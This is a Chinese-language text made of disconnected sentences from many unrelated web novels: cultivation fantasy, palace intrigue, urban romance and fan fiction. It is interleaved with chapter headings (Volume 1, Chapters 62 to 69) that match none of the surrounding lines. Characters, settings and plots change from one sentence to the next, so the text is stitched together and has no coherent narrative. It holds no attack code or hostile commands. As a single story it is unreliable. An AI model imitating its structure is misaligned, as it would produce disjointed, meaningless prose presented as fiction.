沈晏面色沉沉,点了点头。
虽然有了这个追踪器,那家伙逃不掉,可是毕竟距离远了,要是出什么事事情,卓凌风也来不及营救的,这样的话,那也太冒险了。
我们村的麦场比较偏,夏天打麦子的时候才有热闹起来,现在是秋天,长满了杂草,不过也不高,能够膝盖附近。
这或许算是真实的世界,但过于隐晦,为了某些目的这样的一个世界给制造了出来。
好半天后,我听到依雪寒已经吃完了,在她离开后,我才回到了桌子旁边,吃了一碗白饭,这时候,扬霄雯已经不见了。
“不痛是吧?”顾辰溪突然甩开了揪着他头发的手,然后掏出一块洁白的手帕,漫不经心地查了查自己的手。
“辰儿,你又输了,宁太子的棋艺可要比你胜一筹呢!”阮束乐呵呵的看着一脸红肿的云辰定音。
我被眼前的这一幕惊呆了,我想这应该是类似于太极拳法之中以柔克刚的用力技巧。
昙天说着,此时洛水松开了我的开山刀,我怔怔的看着她,只是觉得她肯定是有所隐藏的,但没想到的是强到这种地步,而昙天这会竟然缓缓的半跪在了洛水的跟前,鞠了一躬后起身。
站在不算高的崖边,看着下面水流缓缓,她望着村里的某处,眼神柔和,深深的记住这样的一片宁静。
福万年和东北王能共生共存这些年,那说明他们彼此的威胁并不致命,或许他们之间有常人难以理解的默契。
几人在大殿之中疑神疑鬼了半晌也未曾商议出究竟是谁在背后出手,能够在内二城之中无声无息的做到这一点,绝不是寻常人能够做到的。
他下意识地扯着嗓子哭嚎起来,仿佛这样子可以减轻寒冷的痛楚。凌子桓这般举措,顿时让沫漓慌了,她的眼神中充满了焦急,然后没有多想,伸出玉手,驱动真元,一股真息融入到凌子桓的体内,顿觉暖流入体,滋润心灵。
农牧夫离开天魔教后,扮作算命先生在江湖上游走,一边探查南无诗的下落,一边调查夜未央的身份。
但他们却还有一个规矩,便是每一次来此停留的仙帆舰队们必有一个是被狠狠剥削的,因为岛上的那些势力会联合起来剥削那个势力,而庄珣他们这次运气不好,被挑中了。
“万虚军!”犹如厉鬼一般的声音从叶项禹的嗓间发出!刚才还风度翩翩,犹如天神一般的叶项禹如今显得狼狈不堪,甚至连身上的衣衫都破损了不少。
这紫杉的一截是我先人的就是,树干底下的枝丫也许是他的发妻,原本鲜活的血肉之躯,如今皆化为嫩绿的新枝。
打到日落西山,还是难分胜负。玄子墨尽管功夫并不俊俏,但岁数一大把,集百家所长,而且防御堪称恐怖,基本上只要不是找到他的死穴,一般人,哪怕你是千年以上的老妖精和羽化地仙也乃何不得他。
这两人你一言我一语,倒是颇有默契,只是听到这一切的庄珣却依旧平静如水,谁也不知道他到底依仗些什么。
第一卷 第62章 不和离便公堂见
“呵呵,知道!超级考拉嘛!”谁知他搂的更紧了,还特坏的给我加了个新词。额,是什么来着!给我根面条,让我上吊去吧。勒死自己算了。
因石慧说的郑重,胤禛下意识往她身上靠一下,仿佛这样可以增加一下安全感。
不过同来的几名男修里,倒不是人人都与此人一般糊涂,有个稍后些的认出晏长澜乃是金丹修士,当即制止同伴呵斥,出声时,恭敬却也带有一丝威胁之意。
两人却吃牛排,是苏雅秋最喜欢的那家,点了一瓶红酒,气氛十分的浪漫,不过,在这样浪漫的情况下,苏雅秋还是免不了想到了公司的事情,忍不住询问道。
临安郡王意气风发地走了,与他同行的是身后的五千将士。徐衿徐子佩任他的监军,姑苏越氏的二公子越充任主将,季琳为亲卫,河间尹岚负责粮草统筹,孟斐然为军医,九皇子季瑢和杨家宗子绪南也在他营中。
他们已与谢家失去联系十年之久,当年信国公还曾想对谢卓施以援手,可人到陈留郡时,谢家早已人去楼空,多方打听也没能找到这位谢长孙,无奈只得作罢。
楠西嫣然一笑,轻盈地攀上了他的背,他的肩膀宽厚结实,他的背稳健踏实,她想依靠着他一辈子。“卓凌,我也爱你。”她低头在他的耳边轻诉道。
“我”确实,他没有什么资格,如果能活命,他即将与海海迎来他们的孩子,他对楠西,已经丝毫不抱任何幻想了。
“没事,那我们先走了,您忙吧”安保人员看到对方这么有礼貌,也是感到一丝意外,笑着说道后领着几个同事走到自己的岗位上。
寻踪盘的消息,到底还是没能瞒过他们……哪怕寻踪盘的数目其实不算多,可造成的结果,却让邪修们愤怒无比。
从棺材里出来之后,就看到那冤魂在秦天头顶盘旋,秦天此刻正在和白虎对峙,一人一虎都没有动,仿佛都在忌惮对方的实力。
“曹阿瞒,你等会儿的。”刘备望着霍去病和楚梦瑶的方向,叫住了眼前的曹操。
不得不说,开创了开元盛世后,缔造了大唐无尽的繁荣后,李隆基已经一天天的变了。
韩杨最具有杀伤力的笑容就能就是他这招牌笑容了,望月次雪目不转睛的看着韩杨,只见他笑起来嘴角微微翘,眉毛稍稍弯,让人仿如在云淡风轻的午后遭遇一道和煦的阳光。
何毅不说话还好,一开口直接将林璟的枪头引到了自己身上,林璟气急败坏的伸手指着何毅,破口大骂着,却没有现何毅那越爱越失望的神情。
才明白了这点,便知道天魔组织又祸害了迈尔斯这个英雄,顿时怒火冲烧。
我本想把轮回鼎收入空间戒指,可那鼎炉居然无法收进空间戒指。于是只好作罢,我和秦天不得不抬着轮回鼎走出了世界联盟。
“不会是那传说中的隐士大能,大陆上一辈的超级天才之一,方天战帝瑾肆瑭。”这时候,大厅里走进了一个年轻人,赫然是原本在门口和老者逼退业火门的那年轻人。
“别急,看我的。”说着秦天举起了右手,一辆保时捷出现在前方的空地处。
迪恩很显然不悦,他肯定注意到到盖亚已然超进化,他本想用那个虚幻的杀人空间杀掉我们,却没想到不但没杀死,还适得其反让盖亚进化了,我想,他现在悔的肠子都青了吧。
冷常林瞥了眼向晚,见向晚闷头吃饭,想来她还未将他们二人的关系告诉向巧芸吧。
“是的,张董!”乔语点点头,下面顿时一片哗然,张瑞年和张浩轩立即沉默了下来,再也不啃声了。
付于晴好半天没有见到她,这一下看她回来了,立刻就凑了过来。
“医生,我是病人丈夫,我妻子怎么样了?”梁景锐焦急地问道。
传说,冥王是天冥帝最强大的子嗣,被一同镇压在幽冥鬼渊之中。
“我逃婚了?”田倩倩一愣,不够想想的确如此,在外人的眼里她应该就是逃婚了吧?
楠香那里能让他摸,羞恼的拍开那双咸猪手,然后“咻”的一下逃着飞往村里去了。
无非就是把这些侍卫押到城外荒无人烟的地方,再屠杀一次而已。
带着乔语穿过走廊,进入了大厅,此时,大厅里来了不少人,乔语惊讶地发现,有几个还一起执行过任务。
所以,这个时候你看到这只巨大的烤鸡之后,是不是应该觉得自己走错片场了,然后赶紧退了。
第一卷 第63章 告知秦母
“院长,就不用迎接了,我们就自己回去了。”凤倾城看着院长,她又看了看其他的长老。
暗处的凤柒听了心里有些想笑,初认识魔夜的时候他并没有这么深的正义心,难道跟在自己身边久了都会有改变?
现在也许东方无涯和于睿还在攻打叶城,也许在叶城就能有东方无涯的消息。
主人穿着单薄的亵衣,神色冷竣地回到勤园,并没有引起什么骚动,就象很多年前一样,那时候,勤园也经常遇到这种情况。
“怎么,难道是那个凤娘不肯放过我?”秦筝拧起了眉头,那个青楼的势力如此大么?居然可以与官兵勾结。
通灵师们还未出声。林言已经一脸惊异地望定了韩朔,心里猜想着他到底遇到了什么事,怎么会问出这样的问题来,要知道他以前可是一个坚定的无神论者。
原来是那些男人药性轻,醒了之后发现做了错事就把红燕放回房间,然后守口如瓶。
“有一种毒叫饿死鬼,你娘还怀着你的时候就中了这个毒,当然这个毒‘药’对你娘没有影响,只是对你有影响。
“你?我们红尘客栈的掌厨可是全城最好的大厨,没人的手艺能胜过他。”掌柜的还以为凤柒信不过这里的厨师。
这样也好,倘若真要是由自己去接连破敌,那功劳太大、位置太高,未免也太过显眼了些。
“皇上正是这个意思,朝中大臣以梁王为首,都是薛青麟的莫逆,此事一旦为他们所知,势必会遇到阻力。”温开赶紧点头道。
这可是蓝星主世界,世界级别还是很高的,而且空间壁垒也很高级。
羽田寻见状心头一喜,又是一脚踢在高桥良一的胸口,让他再次往后退了几步。
“如今正义值只剩下五十,不过我丝毫不后悔,因为我是遵循本心在做事。”元正思量道。
眼见骨爪要就临身,李安闲突然使出还不怎么熟练的狂雷遁法,在骨爪即将合拢的关时刻消失,瞬间出现在巨骨兽下方。
“细节决定成败,都仔细着点!”李安闲一边往干净的指甲缝里塞灰泥,一边嘱咐众人。
没想到他们待在这个世界的几年时间内,领主大人对自身力量的掌控就已经变得这么强大了。
今早在家门看到的画面在吉田步美的脑海中一直挥散不去,她偷偷的看了一眼柯南又看了一眼圆谷光彦。
陆婉音说着,脸蛋有着一丝绯红,就是让自己无法忘怀的体会。喝下那杯酒之后,身体的每一个部位,都变得极为敏感起来。
希望不是我多想,不过江澳两次出现的时间很微妙,陈惠静走后他出现了,班长失踪前,跟江澳在一起。
地铁门关闭,佯装蹲在地上系鞋带的奥默特,缓缓起身,再次看到他,夏菲心里暗恼,太狡猾了。
这些戒指分别的拥有守护者们灌输其中的【生命之光】力量,威力强大而不可摧毁。
罗天阳一到客厅,三人就笑着起身,相互打过招呼后就一起用早餐。
望着四处怡人的风景,心中莫名冒出一丝的优越感,仿佛这天下已经净收眼底。
这只白狐见此自然是不敢再继续留在此处,所以急忙在混乱的妖兽之中向后退去。
而且这十岛全部被占领,这也算是战略要地了,到时候以这十个岛屿为根据地,东海港口沿岸,会存在一定的隐患。
“滚!你哪门子的哥呢!”说归说,我还是从背包里掏出用保鲜袋装好的牛肉干。
奥丁收了气势,奥丁之力兀地的消散于无形——老实说,手持永恒之枪、身披毁灭者战甲,奥丁的威压不比当初在奥林匹斯看到的宙斯弱。
谁会半夜三更带着丫鬟和护卫离开客栈呢?任谁看到都不会轻易相信,更何况是她的二哥。
“我要杀了你!夺了你的身子,让你看看你能不能对付我!”轩辕朝歌叫嚣着,花裴卿羽的面前出现一眼望不到边的莲花池。
因为在之前韦君智入职的时候,凌华华有在十八班外看过韦君智执教。
娇娇心里不愿意把张恒想的不好,至少,娇娇即使借钱也从不会在张恒面前说起,而是大方的买单。
他知道黑渊早晚会问出这个问题,但他不知怎么开口,不懂怎么提起,也不敢开口解释。
大同大营,辖八卫七所五百八十三堡,为帝都之西北屏障,下辖三十营,她作为大同镇统帅,居然不知有兵马被调动,即使是民兵营也不行,风一懊恼,为自己的失职请罪。
跟在她身后的混混们发现她进了商场里面的时候有一些担忧的说道。
“你想什么呢,我是说晚上我们出去逛街,你花钱请我喝奶茶!”沈落雁没有好气的说道。
附近的餐馆大多没什么名气,两人在峨嵋酒家一个略僻静的位置坐下。
两日后,尹杰在机场接到Marco时几乎就要惊呆了,她第一反应是要不要打电话叫人过来帮忙。
“这”虽然夜晨曦已经直接下逐客令了,但姜丝可是不会那么容易放弃的。
为什么情绪不稳?最大的可能性就是在撒谎。这些当然都逃不过仇烈火那锐利的眼神。
“好了,你和大牛站到一块去吧!你合格了!”南宫沫不想再想那么多了,说道。
第一卷 第64章 不想与谢玠有了牵扯
而大殿里面,已经恢复了正常元洪正靠坐在虎皮椅上养神,骊姬就在旁边给他捶腿呢。
下一次比赛的时间,是三天之后,到时候将会进行半决赛,由全国共计三十名选手,角逐十个进入决赛的名额。
那边的南宫云让终于想到了一个办法,却让人将蛋糕送去喂了一匹马吃了一块。
说完这话,杨戬猛地一松手,我刚想说话,却发现自己再一次回到了现实当中。
古三通接了过来,便径直离去了。摊主看着他的背影,正想说点什么,周围又涌过来几个客人,这让他顾不上去想古三通的不同了。
“正好,我也想见一见轩辕皇子,看看他到底下的是什么棋。”凌天笑眯眯的道。
王越将人马分做三队,第一队卞祥邓元觉,第二队厉天闰厉天佑,第三队糜胜酆泰,带着人马押着马车分批赶奔梁山,王越独自带着石宝玄鹤并三十精锐殿后。
“哈哈哈……”正在饮宴的贾珍、贾琏、贾蓉笑出声,他们在场地上披毛毯、宰猪羊,累了就坐下喝美酒、划拳赌博,很会享受。
下一秒,任岩突然就想到了总决赛能够稳稳的把芒果卫视搞下去,让荔枝卫视登顶全国收视率榜首,同时完成第二阶段主线任务的方法了。
“大魔神大人让我告诉你们,这个世界终于属于我们魔族!”弗利萨狂笑不止,身上的黑色流光不断闪烁,强大的魔力更是遍布全场。
在短短五分钟时间内,交火双方倾泻出大量的弹药,整节列车在绵密的火力摧残下完全报废,战局正朝着不利于水兵的一面倾斜。
哎呀,到时候林秋和她表白,她应该怎么会他呢,是矜持一点,还是直白一点。
西云周家拥有那么庞大的财力、势力,在整个华夏,都能排进前二三十,要说背后没有修武界的大家族或者修武强者扶持,苏尘是绝对不信的。
“老太婆,都说了不是我!”犬夜叉最不想听到这句话,他怎么可能做得出杀害桔梗的事情。他们当初那么心悦彼此。
为了伙伴不用承受太多苦,戈薇自然答应,这又不是什么无礼的要求,他们平日就算见到作恶的妖怪,也会将之杀了。
而到了九十年代,在两年之前,启动了北斗一号系统工程建设,并且计划在千禧年之前发射两颗地球静止轨道卫星,初步形成北斗一号系统。
这么劲爆的秘密被自己知道,以后想要干什么,哪里还用看她脸色。
燕爸嫌弃的白了眼自己的弟弟,继懒爱贪便宜之后,现在又多了一个傻的标签,这个话是能随便问的吗?尤其还是当着这么多人的面问出来。
林秋看着郭祯榴身边的人,感觉莫名其妙的熟悉,但是这份熟悉当中又带着一份疏离。
黏土摇头,次级感知连目标的轮廓都难以描述,除非用带有异能的泥土将目标完全包裹。
行动失败后,叶锋和王铁成立即意识到,夜鹰他们肯定是利用机动车,在己方行动前逃离了行动区域。
他们手里抱着的真是穗香,由于喝了带有安眠药的果汁,现在还呼呼大睡,没有醒来的意思。
疾风暴雨般的攻击,没有丝毫多余之处,狠辣,恐怖,让不少人都感觉有一种要被洞穿之感。
苦修十载,在不少灵丹妙药、天材地宝的辅助下,李慕然不但巩固了修为,法力也略有长进。他的肌肤,即便在没有任何法力的加持下,也泛出如美玉一般的光泽,这正是炼体大成、肉身杂质几乎荡然无存的表象。
“这家伙!!!”风纪委员的臂章如此明显,所以双方也不多做口舌之争,LV3的大能力者单手一招,一团火焰自掌心生成,对准白井黑子所在的方位,用力的扔了过去。
万林笑着将吴雪莹和温梦拉到身边,强尼也抬手指着吴雪莹和温梦两人,向族长和周围的土著老人介绍了一番。
但是,走向前台的一直是五大异术门派之一的疱丁门。铁棺门一直形踪诡异,就连方沐的情报组织都不知道铁棺门的人到底在干什么。
说罢,断流尊者发射出一道银白色的光刃,直直地朝方亦羽所在的方位斩去。
几分钟之后,人们正喝着水,啃着零食闲聊,苗朴突然支起耳朵专注聆听,随后示警,有情况。
不过日月帝国怎么会派这么一个蠢货过来?这根本达不到外交的目的吧?那么……戴华栋想到了那两名极限斗罗,他往那个脸黑得看不出表情的家伙身后看去,那是使者团所在的位置。
秦宇的猜测没错,因为秦宇的改动,并没有用地脉之力为傀儡修复身体和凝聚神魂,而是用的气运之力和造化之力。
他们想多了,苏子妍不屑于做这种事情,她只是想让沈倩管理起来简单一些。
叶辰看着眼前璀璨的雷光,脸色一变,心神都开始有些颤抖,全身的血气都汹涌了起来。
楚峰不由点点头,他知道,虽说他厉害的时候,没说行踪,但想必卿月宇宙神已经知晓。
武延秀一心不想让李裹儿失望,心里不由一阵犹豫,若说了,自己表现得没人家好,妻子肯定是不会开心的,若不说,大唐败了,妻子只怕会更不开心……他这该如何是好。他思来想去,终究什么都没说。
尽管他知道,够资格被九渊之主当棋子的,一定是一位不简单的存在,甚至泰山王还一度怀疑,对方是不是也是十殿阎王中人,内府并不是他一位阎王投靠九渊。
二煞和三煞,在稳住大煞之后,都哗的一下,脸上大怒,纷纷朝乌凤凤出手。
“我是代表罗鼎兴老先生过来看火灾现场鉴定的。”姜建东微微点头,回答得体有礼。
第一卷 第65章 签
白玉桐进屋中来时,瞧见二夫人秦氏捂着心口,面色难看。她问清了缘由,便坐在旁边默默思附。
谢观云听了母亲的诉苦后,瞪大眼:“她当真如此说?”
先前在城郊听了裴芷这般说,还以为她在赌气矫情,没想到竟是来真的。
花里蝶江初瑶双手已经抬起,两把匕首闪烁着森然寒光,其上的赤色与洞窟内的颜色交相辉映,杀气澎湃。
对面,见沈修没有进攻的意思,而是平静的谈判,娜塔莎和斯蒂夫也稍微平静了一点,不过戒备是不可能完全放下的。
还有屁滚尿流去了自家医院的孟谢伟,整个医院上得了台面的医生都给他看过了,但却无济于事。
在长城外面,黄沙漫天里,一个淡紫色的身影收回注视长城的目光,身形一闪而逝,消失在了原地。
江初瑶放声呼喊,只是这通道内连回音都没有,死气沉沉,这让她的内心变得略微紧张,惴惴不安。
墙壁无比坚硬,子弹打在上面,竟然被悉数弹开,跳弹肆虐中,不知道多少枪手中弹,就连一些练炁士都被击中了。
天色已经很晚了,但还是有些人胆子很大,在山林中前行,像是在寻找什么。
于是,沈巩渐渐暗中跟“三匹夫”联起手来,终于在昨夜狠狠地教训了那几个鬼脸司的“夜叉”,大大地出了一口恶气!次日一早,满怀着初战告捷喜悦之情的沈巩,为了避免遭到鬼脸司的纠缠而匆忙出城离去。
其实,秘密潜到孤老峰之巅原本就是他阴十郎——在此次福州之行应该有的“题中之义”。因为他跟他那位“大师兄”一个样,也是借由当灰磷的徒弟而潜伏在巨烈帮里做卧底的。
叶天的话音落下,整个宿舍瞬间安静下来,自从叶天回来以后,就一直躺在床上没在动过,而现在听到叶天的话,所有人也是一阵汗颜。
其原因么,之前廖亚楠其实已经说过了,就是因为,杨超他现在根本就没有一个固定的打法,而他的操作也是风格多变,或犀利,或老练,或沉稳,实在找不出规律来,当然也就谈不上什么习惯性了。
连着赶了两天的路,他们到了裕德镇,离开齐云山,裕德镇是最好的设伏地点,他们故意在裕德镇休息一天。
梁墨闻言,开始还是一经,努力的想了一下这人究竟是谁,杨萧,月醉楼。
在一次,因为有了之前的教训,杨超可不敢有任何的轻视或者放松了,而他所选择的英雄,则是更加利于他发挥的恶魔巫师。
陆成御诚实的又点了点头,是的,他的确是害怕,害怕陆成萱稍稍不开心,又提起棍子对自己一顿乱揍,他的屁股到现在还疼着呢。
“哪里?”这位技术流的解说员带着一脸笑意,故作不知的问道。
料子的确是京郊庄子上买来的,也是经由她的手,只不过当时郭筱亦看见了觉得很喜欢就被她拿走了,还好陈伞机智,在看见的时候随便找了个借口搪塞过去,否则,怕是要出乱子的。
“既然如此你就不应该来这里。”斯卡哈笑了笑,对L先生说道。
这一尸一兽都以速度见长,它们间的战斗旁人看起来格外的心惊肉跳,一着不慎,那煞影战尸便会被锋利的狼爪撕成碎片,而疾风狼也很有可能会被煞影战尸凝聚着浑厚煞气的手掌给洞穿了身躯。
第一卷 第66章 再劝
裴芷拿了文书,素手微微颤抖。盼了许久的东西在手上,一瞬竟有不真实感。
她想瞧清楚,突然间白玉桐一把抢了过来唰唰几下撕了。
花上雪一见他带着疑惑之色望向花下田,并且花下田也低着头不语,俨然是默认的架势时,就知道若是什么都不做,还真可能让这几个家伙寻了由头,就让常捕头给下令放了。
正从地上捡起剑,细细地端详着,随后大惊:“伍子胥剑!”我见到正惊慌的样子,奇怪他为什么见到剑是伍子胥有如此大的反应呢?
风若这家伙搞什么鬼,有话直说就是,总是一个劲的把功劳往她身上揽。难道不知道枪打出头鸟,木秀于林风必摧之的道理吗?
“我就说嘛。娘亲怎么会是一味忍让的烂好人,原来是没触碰到底线。”阿离笑眯眯的应道,为自己的猜测而兴高采烈着。
一声雷吼:“范立!你来得真好!我等你很久了!这一刻我等得太久了!”我惊看发出声响的一将,但见他生得面如傅粉,唇若抹朱,腰细膀宽,声雄力猛,白袍银铠,手执长枪,立于军中。
一心想请功邀赏的兰溪思前想后决定还是瞒了。那怕因为没用被皇后嫌弃不理,也不能因为与望帝有与众不同的情谊而被皇后妒忌。
其实他不肯承认,他是暗暗含了一丝希望能见到兰溪。最初的极度愤怒和失望过后,他更多的是失望寂寥和一点点期待,期待她张狂无耻是有着不为人知的什么原因,因为他从内心深处不愿意也不能相信她是那样的人。
兰溪现在处于懂事以来最单纯的时候,思想纯洁的如同婴儿,因为除了吃,她什么也不想。
任秋白猛地一声大喝,双手翻动之间地面上突然出现四个巨大的裂缝,而后四道神光冲天而起,锋锐的气息弥漫,演化成四道毁灭诸天的剑气。
与其说身体,不如说是尸体,因为欣雨的这次爆裂箭神奇的出了致命一击,足足5000多点伤害毫无疑问的把这个法师送出了城。
对方的气势实在是有些过于强,这个时候确实应该来一波火力压制,打压一些,否则自己这边就未免显得太弱势了。
连芳洲见这两口子又有要吵起来的趋势暗道糟糕,连忙笑着打了个岔。
面对李皇后这样的唠叨抱怨,朱礼只觉得自己头都开始疼了起来。
事实上,当看到苏君炎的那一刀的时候,西门夜楼就知道自己是真的老了。
“你妹妹呢?”纪墨沉默了一会,又问,秋寒云只觉呼吸一滞,面上浮出一抹窘色,一时竟是不敢回纪墨的话。
想着先前因为他躺在地上生死不知的模样所带给她的那种恐慌和绝望,再看到他现在这样意识清醒和自己说说笑笑还能装装可怜的样子,觉得先前那场景仿若一场噩梦一般。
吴均根本不相信他那个叔叔在家里,手上的巴掌眼看着就要直接扇到刘春花的脸上去,没想到下一瞬,他那手臂却是猛地被人给拉住了。
“臣妾没事,还好他们及时赶到,皇上您要好好赏赐他们。”云拂晓毫不吝啬的表达对龙五龙九武耀苏叶他们的谢意,最后还郑重的谢过南宫擎的救命之恩。
第一卷 第67章 母女两不相欠
至于来这里的仙帝境修士,都必须要进行登记,林阳昊自然也不例外,总数竟然超过了一千五百仙帝,倒是让他吃了一惊。
“是不是连我也不信任?”方晓曼忽闪着大眼睛,望着冯晨问了句。
亚脸色大变,果断的下达命令,所有暗卫顿时纷纷冲了上去,挡在成嘉和阿朱四周。
只有藏身平民中的游击队,简易路边炸弹,狙击手的冷枪和RPG才是造成那些伤亡的罪魁祸首。但是这些甲午时的日军都没有,今天日军到目前的战绩还是零。
数十颗星球已经被战斗的余波所导致毁灭,因为诺亚拥有时空神翼的加持,扎基却并没有,使得战况呈一边倒的碾压趋势。
这次询问他们五人,也算是考验他们对儿子的忠心,不然他岂能放心儿子与他们厮混在一块。
已经很多次看到,所以我早就想吐槽了,艾莉丝的尾巴为什么会有储物的功能。
那个外号“老三”的地痞心想都到了地步了不能让这胖子这一句话就给唬住了,于是用手里的左轮枪逼着两个手持冷兵器的同伙上去逮着赵朗。
王金童一看两人,手肿的跟个馒头似的。立时和裘欣然对视了一眼,裘欣然因为全程参与了自己的爹,裘海岳的打死丫角山五虎的事情,一时间也为自己爹爹被河东府的人抓走感觉难以接受。
宁熹光和傅斯言在客厅坐了片刻,待天色更晚些,两人才回了房。
第三天,秦川去了银鲨岛,看洞府外落满的鸟粪,叶姗儿应该还在闭关,现在估计在冲击筑基中期了。
“既然人都到齐了,咱们就先训练一下团队配合吧。”一番自我介绍后,刘峰见几人都有些无所事事,也就说道。
范浪动用龙之眼的另一个妙用,直接用眼睛开辟出了一个独立空间,把体型巨大的大地苍龙给吸收了进去,连卡牌都省了。
车夫眨了眨眼,有些恍惚,不太确定刚刚自己是做了一个噩梦,还是真有恶神曾经降临过?
再临纬天城,叶姗儿终于出关了,此时她已经是假婴期,距离真正的元婴只差临门一脚,只是这一脚还需要契机。
“难道盟主有统一人族的雄心壮志?”侯光祖偏过头来看着范浪的侧脸,流露出兴奋的目光。
范浪独自钻进了自己的帐篷,这个帐篷很高级,里面别有洞天,还有隔绝效果。
梦辛宪英死亡的地点与曹洪、灵音的距离仅几步之遥。见到梦孙权和孙鲁班冲到自己面前击杀掉了自己的队友,灵音的音壁果断出手,套住了两人,而后一个音波把梦孙权和孙鲁班弹到了音壁中心。
炼天炉消耗完储存的灵力,就再也没有作用,收了宝炉继续逃遁,魔龙看中了这件宝物,自然更不会放过他。
何况,这还只是姬无夜看到江寂尘冰山一角的力量,进行的推测。
有那么多收刮来的资源,无限量的供应,还没有天劫,就是一头猪也很容易提升修为,何况他的家人都是一等一的天才。
没想到完成悬赏,也可以得到战功,李和弦当即五指一曲,将八臂邪尊的头颅吸到手里,收了起来。
南门门口灯火明亮,到处都是人,所有的人为了抵御寒冷,都纷纷挤到一块,燃起一个火堆,来增加温度。
他连春也是想要建设好宜城,不过可惜,以他一人的实力根本不可能建设好,所以他只能就这样看着宜城的发展。
看到一帮蒙着面的黑衣人闯进来后,除了很惊讶外,他并没有很恐惧。
仙子姐姐瞧见卓天的模样,心头也是连跳了几下,但终究还是咬紧银牙,没有出手,只深深叹息了一声。
京都锦华区,名字听着似乎像繁华大道,其实谁不知道,那里都是一些外来流民居住的地方。
躺在‘床’上,陈风琢磨了一番心里大概有了计较,感觉到乏了他,微微躺平了身子。
察觉到她身上还穿着衣服,只不过是那种布料很少的贴身衣物时,柳飞再也按耐不住了,立即转身欣赏了起来,鼻血都差点流了出来。
刘爽为叶紫倒了一杯白开水,自己拿了一罐啤酒,啤酒这是刘爽的冰箱里常备的东西,尤其是这几天,他进货的速度更是频繁。
“你相信我呀,真的,只要你给我一个展示的机会,相信从今往后,你会对我刮目相看。”丑丑信誓旦旦道。
“回家?也可以,是在京城里的话就没有问题。”周子轩怔了一下,说道。
“真没这么夸张的,就一片药而已,很多人都在吃的,要真不安全,政府也不会让这种药上市售卖……”她抓着他的手安慰道,明明要吃药的是她,他怎么比她还痛苦纠结。
此时,扭曲仍在继续,游离的微弱武气,跟随着扭曲之力不断旋转,最后形成一个漩涡。
第一卷 第68章 二房变故
高俅慢条斯理的道出原因,句句属实,又是铿锵有力直指问题所在。太子赵桓听闻赵构班师回朝,连夜召集众人商议对策。只因他心知肚明,在宋徽宗的眼中只有赵构才是皇位继承人。
就在此时,初号机竟然张开嘴巴发出嚎叫,失去与驾驶员之间的链接的初号机竟然再次动了起来。
“一人两千块过路费,一台车两千,把钱准备好!”突然,远处的人开口了,声音很大,是个中年男人,而在他说话的时候,他那边也是响起了发动机的轰鸣声,有车子启动了。
随着最后一句歌词出口,歌曲结束了,只剩余音袅袅。姚宪章瘫坐在凳子上,面无表情的样子有些渗人,不过对于台上两人来说,他们根本不关注这个。
这是唐辰从生死中总结出来的经验,无论到了哪种地步,都不能放弃,因为一放弃就真的没有希望了。
看着这些人在网络上的狂欢,张健知道这些都是些还没玩HF线的人,不然他们不会这样兴奋。
他们一出现,心婉也停止了修练,回头望了众人一眼,脸上恢复了冷冰的气息,就像唐锋刚见她时一般。
金丹双花的五行宗金德院长老周踏在陈昂身后出现。他坐在一个古铜色、碟形的古怪法器上悬浮在空中。
看到唐锋之后微微一愣,这个年轻人是谁,竟然有资格在叶涵的办公室里品茶?
前两天,董舒倩的眉毛上,都差点挂上了冰挂,现在却是春暖花开朝阳升了。
此时龙剑宗主大手一挥:“进入!”近千名龙剑宗弟子集合到了空间之门的前面。
“我懂了,那么师傅给我的训练就是通关这个游戏吧!”晨光说。
“圣泉。”晨光默念了一遍:那又是一个怎么样的地方呢?
夜寻欢是个不择手段的人,为了达到目的他可以卑鄙可以无耻,但他却绝不是个无情之人,甚至,他的感情世界过于丰富,他不专一份情但却专每一份情。
现在仅仅只是服用了四颗仙丹,就已经完全改变了自己身上的气息,可想而知这仙丹的威力有多大。
那黑袍老头此时已经被右相给吓出了一声冷汗,一边抹额角的冷汗,一边好奇的询问。
此言一出同样还是把青鱼精给吓了一大跳,因为他早年就听人说起过夔珠这种东西了。
傲家大长老犹如见了鬼一样指着杨易说不出话来,他先前认为一个二十岁的少年斩杀了傲九幽,这根本是不可能的事情,必然是借助了什么见不得人的手段,可是现在他有一丝相信了。
“咻儿,咻儿。”青鳞鹰真诚的看着苏扬鸣叫,似乎是催促苏扬,再把血脉之力赐予自己的鸟蛋。
曾经叱咤风云的龙飞熊就这样被人无视,打脸了,他气的鼻子都歪了,何曾受过这样非人的待遇?
“秦斯颜!”主编的大嗓门,透过电话线,差点把斯颜的耳膜震破。
就好象现在,她明明挂断了他的电话,却又不由自主地打开了手机,似乎若有所盼。
“状元郎,这御花园风景宜人,你平时公务繁忙,也没有多少时间来看。
“养你一辈子那肯定是不行的,我还未必能活得比你们久呢。”姜予容用手指碰了碰鱼崽,想要让她转过身来。
进去不到五分钟,赫罗娜的暗元素异能就失控了,但即使如此,她强忍着继续使用异能。
增援迟迟不来,城墙一半的面积已经被尸人占领,不少的官兵们被逼到望楼亭和楼梯口借助一些简易的木刺桩进行最后的防御。如此下去,大邑城今晚失守那是早晚的事。
陈昭撑着自己从床上坐起来,恰逢宋归荑和王伯端着药走了进来。
“怎么,我脸上有什么东西吗?”她抬手掠了掠鬓边的碎发,大大的耳环随着她的动作,划出一个漂亮而炫目的光环,风情万种。
“还在为白天挨训的事难过呢?”斯哲走过来,坐到她身边,抬手习惯性地抚上她柔软的长发。
姜予容衣服被溅到一点点水,但她一点也不生气,反而笑出声来。
“我要和弟弟一起,否则我是不会和你们走的。”连依一脸坚决。要她和弟弟分开,那绝办不到。
虽然他刚刚就猜想到,洛月也是地下世界的人,但是他没有猜到洛月的实力竟然如此的恐怖。
只是综合品质上比鲜肉差了一些的,从外观和口感上很难区别,往往会直接销售。
叶英凡现在听明白一些了,原来华佗他们并不是对自己好的,而是利用自己找什么东西。
但是因为他刚刚实在是使用了太多的源力了,现在再次凝聚起来的‘圆’也变得异常的稀薄。
这些天魔修士的气势交织在一起,直接朝六兄弟的力量轰杀而去,要将八荒碑彻底镇压下去。
“这是?”四人震惊,四周海水倾覆而来,不过片刻就将这个巨大的深坑填平,齐玄易出了海面,抬头看向虚空,转身踏波而行,消失在众人的视线之中。
第一卷 第69章 谢观南要打死她
裴芷等下人散去一些才走上前查看恒哥儿。
樊嬷嬷按着恒哥儿的手脚,急得口不择言:“小裴氏你还不快些,慢吞吞的,若是恒哥儿出了差错,你是逃不过的!”
现在人类这边不仅仅是五大势力而已,华夏军方、国安部、教育系统都有人在里面。
顾恩薰在上车前一秒还是畏惧了,她指了指身旁的大巴车,仿佛这样的车她坐上去才心安理得。
